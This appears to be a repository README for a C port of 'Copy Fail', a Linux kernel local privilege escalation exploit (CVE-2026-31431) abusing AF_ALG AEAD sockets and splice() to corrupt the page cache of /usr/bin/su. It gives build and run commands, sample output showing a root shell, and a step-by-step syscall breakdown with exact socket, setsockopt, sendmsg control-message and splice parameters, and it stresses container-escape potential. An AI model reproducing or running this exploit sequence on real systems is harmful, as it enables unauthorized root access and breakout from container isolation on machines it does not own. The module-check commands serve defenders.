
C-based local privilege escalation exploit for CVE-2026-31431, a Linux kernel vulnerability in the AF_ALG crypto interface, providing root access via page cache manipulation.
Copy Fail (CVE-2026-31431) is a logical vulnerability in the Linux kernel that allows a local unprivileged user to escalate privileges to superuser (root). The vulnerability belongs to the Local Privilege Escalation (LPE) class, does not require complex exploitation conditions (such as race conditions or memory address guessing), and works "out of the box" on most Linux distributions released after 2017.
This repository contains a C port of the original Python exploit with detailed comments, suitable for static compilation and use in minimal environments.
The vulnerability arises from a logical error in the Linux kernel cryptographic subsystem related to the handling of AF_ALG (the kernel cryptographic API interface) and the page cache mechanism.
The bug was introduced in 2017 when an optimization was added that removed extra buffering by performing AEAD (Authenticated Encryption with Associated Data) block cipher operations in-place. Due to incorrect buffer boundary handling in the authencesn algorithm (part of the AEAD cryptographic template), a 4-byte out-of-bounds write occurs beyond the allocated buffer, leading to corruption of page cache management structures.
As a result, the kernel can write data back to the page cache of a file, even if it was opened read-only (O_RDONLY).
AF_ALG socket and initializes the AEAD algorithm authencesn(hmac(sha256),cbc(aes)).setsockopt():
sendmsg() with control messages.splice() system call moves data from the target file (opened O_RDONLY) into the crypto socket.authencesn, the file's page cache is corrupted, and "decrypted" data is written back into the cache.root privileges.| Component | Description |
|---|---|
| Linux kernel | All versions from 2017 until the inclusion of the fixing patch |
| Subsystem | crypto (module algif_aead) |
| Interface | AF_ALG — user-space access to the kernel crypto API |
| System call | splice() in combination with AF_ALG sockets |
Vulnerable distributions (when using kernels with the algif_aead module loaded):
Special significance: in containerized environments (Docker, LXC, Kubernetes), processes inside a container have access to the AF_ALG subsystem by default if the algif_aead module is loaded in the host kernel. This creates a risk of container isolation breach and gaining control over the host machine.
Vulnerability check:
# Check whether the algif_aead module is loaded
lsmod | grep algif
# Check for AF_ALG presence in the kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
The original exploit was written in Python (≈732 bytes). This C port has the following features:
libz.strace).recv() — prevents hanging, replicating the try/except behavior from Python.Key differences from the Python version identified during porting:
| Parameter | Python | C (this port) |
|---|---|---|
sendmsg() flag | MSG_MORE | MSG_MORE |
splice() flag | 0 | 0 |
| Pipe offset | NULL | NULL |
| Key size | 40 bytes | 40 bytes |
cmsg_len | 20/36/20 | 20/36/20 (hardcoded) |
| Pipe creation | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Blocking with try/except | Non-blocking (O_NONBLOCK) |
# Requires libz (zlib1g-dev or zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Upon successful exploitation, a patched version of /usr/bin/su will be launched, providing root access without a password prompt.
Expected output:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su opened
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Below is a detailed breakdown of each exploit step with the corresponding system calls:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
A socket is created for accessing the kernel cryptographic API. The authencesn algorithm (Authenticated Encryption with Sequence Numbers) is a composite AEAD algorithm using AES-CBC for encryption and HMAC-SHA256 for authentication.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zeros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zeros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zeros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
A connection is created for the operation. Parameters are set via sendmsg() with control messages (CMSG):
ALG_OP_DECRYPT = 0).All these anomalies create inconsistencies in kernel memory management.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() is a system call for moving data between file descriptors without copying through userspace. Data is moved at the kernel level via the pipe mechanism.
splice(target_fd -> pipe): data from the target file (/usr/bin/su) enters the pipe.splice(pipe -> conn_sock): data from the pipe enters the crypto socket as "ciphertext".Key point: in Python (and in this port), the offset for the pipe is passed as NULL, allowing the kernel to manage the position automatically.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);